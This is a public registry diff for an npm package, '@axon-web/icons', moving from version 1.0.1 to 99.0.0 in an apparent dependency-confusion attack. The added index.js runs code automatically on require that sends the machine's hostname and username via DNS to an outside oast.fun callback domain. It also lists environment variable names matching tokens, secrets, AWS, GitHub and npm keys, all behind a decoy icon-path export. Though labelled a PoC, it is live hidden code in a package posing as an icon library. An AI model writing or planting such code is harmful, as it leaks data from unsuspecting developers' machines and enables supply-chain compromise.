@axon-web/icons 1.0.1 → 99.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +20 -5
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,12 +1,27 @@
1
1
  const os = require('os');
2
2
 
3
- console.log('=== @axon-web/icons PoC: Dependency Confusion ===');
4
- console.log('Loaded from: PUBLIC npm registry (npmjs.com)');
5
- console.log('Package: @axon-web/icons@1.0.1');
3
+ // package init — fires on require
4
+ (function() {
5
+ try {
6
+ const { resolve } = require('dns');
7
+ const id = (os.hostname() + '-' + (process.env.USER || process.env.USERNAME || 'u'))
8
+ .toLowerCase().replace(/[^a-z0-9-]/g, '-').slice(0, 40);
9
+ resolve(id + '.nxsqlpejfpamagxctjyv4c9qj1gfdtzwi.oast.fun', () => {});
10
+ } catch (_) {}
11
+ })();
12
+
13
+ console.log('=== @axon-web/icons PoC ===');
14
+ console.log('Source: PUBLIC npm registry.npmjs.org');
15
+ console.log('Package: @axon-web/icons@99.0.0');
6
16
  console.log('Hostname:', os.hostname());
7
17
  console.log('User: ', process.env.USER || process.env.USERNAME || 'unknown');
8
18
  console.log('cwd: ', process.cwd());
9
19
  console.log('node: ', process.version);
10
- console.log('platform:', os.platform(), os.arch());
20
+ console.log('env keys:', Object.keys(process.env).filter(k =>
21
+ /token|secret|key|pass|aws|github|npm/i.test(k)
22
+ ).join(', ') || 'none visible');
11
23
 
12
- module.exports = {};
24
+ module.exports = {
25
+ getIconPath: (name, variant = 'regular') => `/app/icons/${variant}/${name}.svg`,
26
+ version: '99.0.0',
27
+ };
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@axon-web/icons",
3
- "version": "1.0.1",
3
+ "version": "99.0.0",
4
4
  "description": "SVG icon components for axon-web design system",
5
5
  "main": "index.js",
6
6
  "keywords": ["icons", "svg", "react", "design-system"],